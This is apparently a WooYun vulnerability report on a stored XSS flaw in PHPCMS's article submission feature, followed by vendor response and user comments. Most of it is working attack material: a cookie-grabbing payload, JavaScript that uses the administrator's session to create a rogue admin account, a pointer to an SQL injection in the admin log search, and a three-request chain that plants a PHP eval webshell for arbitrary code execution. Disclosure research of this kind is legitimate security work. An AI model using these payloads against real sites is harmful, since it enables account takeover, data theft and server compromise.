当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(37) 关注此漏洞

缺陷编号: WooYun-2013-46325

漏洞标题: PHPCMS最新版存储型xss(附多种利用方法)

相关厂商: phpcms

漏洞作者: felixk3y

提交时间: 2013-12-18 12:03

公开时间: 2014-03-18 12:04

漏洞类型: XSS跨站脚本攻击

危害等级: 高

自评Rank: 18

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: webshell php代码执行

15人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-18: 细节已通知厂商并且等待厂商处理中
2013-12-18: 厂商已经确认,细节仅向厂商公开
2013-12-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-02-11: 细节向核心白帽子及相关领域专家公开
2014-02-21: 细节向普通白帽子公开
2014-03-03: 细节向实习白帽子公开
2014-03-18: 细节向公众公开

简要描述:

我想说的是难道还有什么比让人帮忙做事,自己翘着二郎腿 坐等结果更爽的事吗?哼哼哼...

详细说明:

PHPCMS文章投稿处存在存储型的XSS漏洞,也许当你看到标题的时候,你心里会想:楼主简直太不厚道了,不就一个XSS嘛,标题却来个代码执行...别慌,一个漏洞所造成的威胁,本人觉得并不在于其本身,而在于我们如何将其利用,使之最大化, So...听我细细道来...



#1 首先说下这个漏洞的产生

/phpcms/modules/member/content.php 61行左右

code 区域
<?
$info = array();
foreach($_POST['info'] as $_k=>$_v){
if(in_array($_k, $fields)) $info[$_k] = new_html_special_chars(trim_script($_v));
}
$_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl']));
//exit($_POST['linkurl']);//上面一行仅简单过滤了"、(、)等,SO可以轻松绕过
$post_fields = array_keys($_POST['info']);
?>



对应的前台:

1.jpg



#2 简单利用之一获取管理员COOKIE

投稿一篇 写入利用代码:

code 区域
Javascript:%28alert%28document.cookie%29%29



前台效果展示:

2.jpg



管理后台效果展示:

3.jpg





漏洞证明:

#3 简单利用之二添加任意管理员账号

这个我具体没去测试,不过应该可行,给出利用代码(js):

将下面的代码保存为js:

code 区域
if(top.window.location.href.indexOf("pc_hash=")>0){
var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6);
}
var xmlHttp = null;
var cookie = document.cookie;
var url = "index.php?m=admin&c=admin_manage&a=add";
var urldata = "info%5Busername%5D=test&info%5Bpassword%5D=123456&info%5Bpwdconfirm%5D=123456&info%5Bemail%5D=felixk3y%**.**.**.**&info%5Brealname%5D=aaa&info%5Broleid%5D=1&dosubmit=%E6%8F%90%E4%BA%A4&pc_hash="+hash;

if(window.ActiveXObject){
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest){
xmlHttp=new XMLHttpRequest();
}
if(xmlHttp!=null){
xmlHttp.onreadystatechange=state_Change;
xmlHttp.open("POST",url,false);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=UTF-8");
xmlHttp.setRequestHeader("Cookie",cookie);
xmlHttp.send(urldata);//不为null时,必须设置Content-Type
}
function state_Change()
{
if(xmlHttp.readyState==4)
{
if (xmlHttp.status==200)
{
//alert(xmlHttp.responseText);
}
}
}



#4 深入利用利用之SQL注入

话说XSS的危害没有SQL注入严重,好吧 我承认.但是由于PHPCMS的后台变量覆盖满天飞,利用变量覆盖造成的SQL注入不是一处两处,利用XSS,我们同样可以让管理员帮我们进行注入,下面随便挑一处进行说明:

/phpcms/modules/admin/log.php 第51行左右

<?

//...

public function search_log() {

$where = '';

extract($_GET['search']); //extract导致变量覆盖,覆盖下面的$where可进行注入

if($username){

$where .= $where ? " AND username='$username'" : " username='$username'";

}

if($module){

$where .= $where ? " AND module='$module'" : " module='$module'";

}

if($start_time && $end_time) {

$start = $start_time;

$end = $end_time;

$where .= "AND `time` >= '$start' AND `time` <= '$end' ";

//...

?>

至于具体利用嘛,可通过js的XMLHttpRequest ,具体就不多说了,都懂的...

#5 深入利用之任意代码执行,GETSHELL

在XSS处插入Getshell的JavaScript代码,js大至代码如下(js不熟悉,只能写个大概,别见笑):

详细的过程可以参考:http://**.**.**.**/thread-4568-1-1.html

这里只是通过XMLHttpRequest去实现罢了,So...

获取pc_hash:

code 区域
if(top.window.location.href.indexOf("pc_hash")>0){
var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6);
}



xmlhttp 第一步:

POST /phpcms/index.php?m=admin&c=urlrule&a=add

post参数:

code 区域
dosubmit=+%CC%E1%BD%BB+&pc_hash=Wq87o4&info%5Bfile%5D=category&info%5Bmodule%5D=content&info%5Bishtml%5D=1&info%5Bexample%5D=shell&info%5Burlrule%5D=shell.php&f1=%7B%24categorydir%7D&f1=%7B%24catdir%7D&f1=%7B%24year%7D&f1=%7B%24month%7D&f1=%7B%24day%7D&f1=%7B%24id%7D&f1=%7B%24page%7D



xmlhttp 第二步:

POST /phpcms/index.php?m=admin&c=category&a=add

post参数:

code 区域
addtype=0&info%5Bmodelid%5D=1&info%5Bparentid%5D=0&info%5Bcatname%5D=%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3F%3E&batch_add=&info%5Bcatdir%5D=shell&info%5Bimage%5D=&info%5Bdescription%5D=&setting%5Bworkflowid%5D=&info%5Bismenu%5D=1&setting%5Bishtml%5D=1&setting%5Bcontent_ishtml%5D=0&category_php_ruleid=6&category_html_ruleid=33&show_php_ruleid=16&show_html_ruleid=11&setting%5Bcreate_to_html_root%5D=0&info%5Burl%5D=&setting%5Btemplate_list%5D=default&setting%5Bcategory_template%5D=category&setting%5Blist_template%5D=list&setting%5Bshow_template%5D=show&setting%5Bmeta_title%5D=&setting%5Bmeta_keywords%5D=&setting%5Bmeta_description%5D=&setting%5Bpresentpoint%5D=1&setting%5Bdefaultchargepoint%5D=0&setting%5Bpaytype%5D=0&setting%5Brepeatchargedays%5D=1&catid=&dosubmit=%CC%E1%BD%BB&pc_hash=Wq87o4



xmlhttp 第三步:

POST /phpcms/index.php?m=content&c=create_html&a=category

post参数:

pc_hash=Wq87o4&dosubmit=1&type=all&modelid=&catids%5B%5D=0&pagesize=10



下面给出个xmlhttp发送post包大致代码如下:

code 区域
var postdata = "postdata"
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", postdata.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(paramss);





此时会在html文件夹下生成shell.php,不过此时"<"会被转义。

11.jpg



这时候,重复2 3步骤,即可getshell ,执行任意代码

SHELL Link: http://url/html/shell.php

22.jpg

修复方案:

你们比我懂...

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-18 17:24

厂商回复:

感谢反馈!!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-12-18 12:04 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    mark!前排火速留名

  2. 2014-01-08 11:36 | big、face ( 普通白帽子 | Rank:144 漏洞数:36 | |上天请赐我一个洞|想要一件乌云衣服|)
    0

    学习学习

  3. 2014-01-08 20:30 | 野驴~ ( 路人 | Rank:5 漏洞数:3 | 充满强烈好奇心的菜鸟。)
    0

    前排留名,此洞必火

  4. 2014-03-18 14:09 | Seven.Sea ( 普通白帽子 | Rank:118 漏洞数:28 | 唯有安全与美食不可辜负。)
    0

    mark~!

  5. 2014-03-18 17:24 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)
    0

    洞主这么屌,你家人知道么?

  6. 2014-03-18 17:33 | 奥迪牌拖拉机 ( 路人 | Rank:24 漏洞数:5 | 我是一个小小小小菜)
    0

    虔诚的学习了!~

  7. 2014-03-19 08:33 | PanFake ( 路人 | Rank:6 漏洞数:5 | 略懂略懂)
    0

    这个才10rank?果断应该留下!

  8. 2014-06-13 11:00 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟,)
    0

    已阅

登录后才能发表评论,请先 登录